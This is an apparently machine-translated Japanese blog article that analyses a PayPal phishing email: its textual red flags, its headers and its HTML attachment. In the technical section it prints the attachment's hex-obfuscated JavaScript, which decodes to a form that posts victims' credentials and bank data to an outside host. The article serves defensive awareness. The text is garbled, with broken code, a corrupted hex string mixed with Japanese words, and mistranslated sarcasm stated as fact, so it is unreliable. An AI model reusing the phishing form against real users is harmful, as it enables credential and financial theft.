フィッシング詐欺メールの構造を解明するオンラインセキュリティ

みんなの情報がオンラインになっている今日の世界では、フィッシングは最も人気のある壊滅的なオンライン攻撃の1つです。なぜなら、ウイルスを駆除することはいつでもできるからです。これが私たちが受けたそのような攻撃の内訳です。.

結局のところ、誰かがあなたのアカウントのログインを制御するようになれば、彼らはそのアカウントに含まれている情報を知っているだけでなく、同じログイン情報が他の様々なものに使われる可能性があるアカウントそして彼らがあなたのEメールアカウントを危険にさらすならば、彼らはあなたの他のすべてのパスワードをリセットすることができます.

そのため、強力で多様なパスワードを保持することに加えて、偽の電子メールが本物であると見せかけていることに常に注意を払う必要があります。ほとんどのフィッシングの試みは素人ですが、かなり説得力があるため、表面レベルでの認識方法や、その下での動作方法を理解することが重要です。.

asirapによるイメージ

普通の光景にあるものを調べる

私たちの電子メールの例は、ほとんどのフィッシング攻撃と同様に、PayPalアカウントでのアクティビティを「通知」するもので、通常の状況下では憂慮すべきものです。だから行動を起こすのはあなたが考えることができる個人情報のほぼすべての部分を提出することによってあなたのアカウントを確認/復元することです。繰り返しますが、これはかなり定型的です.

確かに例外がありますが、ほとんどすべてのフィッシングメールや詐欺メールには、メッセージ自体に直接赤いフラグが付けられています。テキストが説得力があるとしても、通常、メッセージが正当ではないことを示す、メッセージ本文全体に散らばっている多くの間違いを見つけることができます。.

メッセージ本文

一見したところ、これは私が見た中でより優れたフィッシングメールの1つです。スペルミスや文法上の誤りはなく、言葉遣いはあなたが期待するかもしれないものに従って読む。ただし、コンテンツをもう少し詳しく調べると確認できるいくつかの赤いフラグがあります。.

• “ Paypal” - 正しいケースは“ PayPal”（大文字のP）です。両方のバリエーションがメッセージで使用されているのがわかります。企業は自社のブランドを非常に慎重に検討しているので、このようなものが校正プロセスに合格するかどうかは疑問です。.
• 「ActiveXを許可する」 - ペイパルの規模で、合法的なWebベースのビジネスで、特に複数のブラウザをサポートしている場合に、単一のブラウザでしか機能しない独自のコンポーネントを使用したことがありますか。確かに、どこかで会社がそれをしている、しかしこれは赤い旗です.
• 「確実に」 - この単語が段落テキストの残りの部分と余白に並んでいないことに注意してください。ウィンドウをもう少し広げても、正しく折り返されない.
• 「Paypal！」 - 感嘆符の前のスペースがぎこちなく見えます。私が合法的な電子メールに含まれていないことを確信しているだけでもう一つの奇妙なこと.
• 「PayPalアカウント更新Form.pdf.htm」 - 特に自分のサイトのページにリンクできるだけの場合、Paypalはなぜ「PDF」を添付するのですか？さらに、なぜ彼らはHTMLファイルをPDFとして偽装しようとするのでしょうか。これはそれらのすべての最大の赤い旗です.

メッセージヘッダ

メッセージヘッダを見ると、さらにいくつかの赤いフラグが表示されます。

• 送信元アドレスは[email protected]です。.
• toアドレスがありません。私はこれを空白にしませんでした、それは単に標準のメッセージヘッダの一部ではありません。通常、あなたの名前を持つ会社はあなたへのEメールをパーソナライズします.

アタッチメント

添付ファイルを開くと、スタイル情報がないため、レイアウトが正しくないことがすぐにわかります。繰り返しますが、PayPalがサイトにリンクを張っただけで、HTMLフォームを電子メールで送信する理由?

注意： これにはGmailの組み込みHTML添付ファイルビューアを使用しましたが、詐欺師からの添付ファイルは開かないでください。しないでください。今まで彼らはあなたのアカウント情報を盗むためにあなたのPCにトロイの木馬をインストールするエクスプロイトを非常に頻繁に含んでいます.

もう少し下にスクロールすると、このフォームから、PayPalのログイン情報だけでなく、銀行やクレジットカードの情報も要求されることがわかります。一部の画像が壊れています.

このフィッシングの試みが一挙一挙に終わったことは明らかです。.

技術的な内訳

これがフィッシングの試みであることが明らかになっていることに基づいてかなり明確になるはずですが、私たちは今、電子メールの技術的な構成を打破し、我々が見つけることができるものを見るつもりです。.

添付ファイルからの情報

最初に確認することは、偽のサイトにデータを送信するものである添付ファイルフォームのHTMLソースです。.

すばやくソースを表示すると、すべてのリンクは「paypal.com」または「paypalobjects.com」のどちらかを指しているため有効です。.

それでは、Firefoxがページ上で収集する基本的なページ情報をいくつか見ていきます。.

ご覧のとおり、グラフィックの一部は、合法的なPayPalドメインではなく、「blessedtobe.com」、「goodhealthpharmacy.com」、および「pic-upload.de」のドメインから取得されています。.

電子メールヘッダーからの情報

次に、生の電子メールメッセージヘッダを見てみましょう。 Gmailでは、メッセージの[オリジナルを表示]メニューオプションでこれを利用できます。.

元のメッセージのヘッダー情報を見ると、このメッセージがOutlook Express 6を使用して作成されていることがわかります。PayPalには、期限切れの電子メールクライアントを介してこれらのメッセージを手動で送信するスタッフがいます。.

ルーティング情報を見ると、送信者と中継メールサーバーの両方のIPアドレスがわかります。.

「ユーザー」のIPアドレスは元の送信者です。 IP情報を簡単に見ると、送信元IPがドイツにあることがわかります。.

そして、リレーするメールサーバー（mail.itak.at）を見ると、これはオーストリアを拠点とするISPです。彼らが簡単にこのタスクを処理することができる大規模なサーバーファームを持っているとき、私はPayPalがオーストリアを拠点とするISPを通して直接彼らの電子メールをルーティングすることを疑います.

データの行き先?

そのため、これはフィッシングメールであると明確に判断し、メッセージの送信元に関する情報を収集しましたが、データの送信先については収集しました。?

これを確認するには、まずHTM添付ファイルをデスクトップに保存し、テキストエディタで開く必要があります。それをスクロールすると、疑わしいJavascriptブロックにたどり着いたときを除いて、すべてが順調に見えます。.

Javascriptの最後のブロックの全情報源を抜粋すると、次のようになります。

// Copyright©2005 Voormedia - WWW.VOORMEDIA.COM
VAR I、Y、X =」3c666f726d206e616d653d226d61696e222069643d226d61696e22206d6574686f643d22706f73742220616374696f6e3d22687474703a2f2f7777772e646578706f737572652e6e65742f6262732f646174612f7665726966792e706870223e」、Y =」（I = 0;私

Javascriptブロックにランダムに見えるランダムな文字と数字の大きな文字列が埋め込まれているのを見た場合、それは通常疑わしいものです。コードを見ると、変数「x」はこの大きな文字列に設定されてから変数「y」にデコードされます。変数「y」の最終結果は、HTMLとして文書に書き込まれます。.

大きな文字列は0〜9の数字とa〜fの文字で構成されているので、単純なASCIIから16進への変換によってエンコードされる可能性が最も高いです。

3c666f726d206e616d653d226d61696e222069643d226d61696e22206d77042220616374696f6e3d22687474707707707707707727727727727727727727727727f3fc0727327127657127657337337337337337336人私私すべてのすべてのアイテムのうちのすべてのアイテムのコンテンツ）

に変換します。

これが、結果をPayPalではなく不正なサイトに送信する有効なHTMLフォームタグにデコードされることは偶然ではありません。.

さらに、フォームのHTMLソースを表示すると、このformタグはJavascriptを介して動的に生成されるため表示されません。これは、テキストエディタで添付ファイルを直接開くのではなく、誰かが単純に添付ファイルの生成されたソースを表示する場合に、HTMLが実際に行っていることを隠す賢い方法です。.

問題のあるサイトで簡単にwhoisを実行すると、これが人気のあるウェブホスト1and1でホストされているドメインであることがわかります。.

目立つのは、ドメインが（ "dfh3sjhskjhw.net"のようなものとは対照的に）読みやすい名前を使用しており、ドメインが4年間登録されていることです。このため、このドメインは乗っ取られ、このフィッシングの試みでポーンとして使用されたと思います.

シニシズムは良い防衛です

オンラインで安全に滞在することになると、それはシニシズムの良いビットを持っていることを決して傷つけません.

電子メールの例にはもっと赤いフラグがあると確信していますが、上記で指摘したのは、わずか数分の調査の後に見た指標です。仮に、電子メールの表面レベルがその正当な相手を100％模倣していたとしても、テクニカル分析はそれでもその真の性質を明らかにするでしょう。これが、あなたが見ることができるものと見ることができないものの両方を調べることができることが重要な理由です。.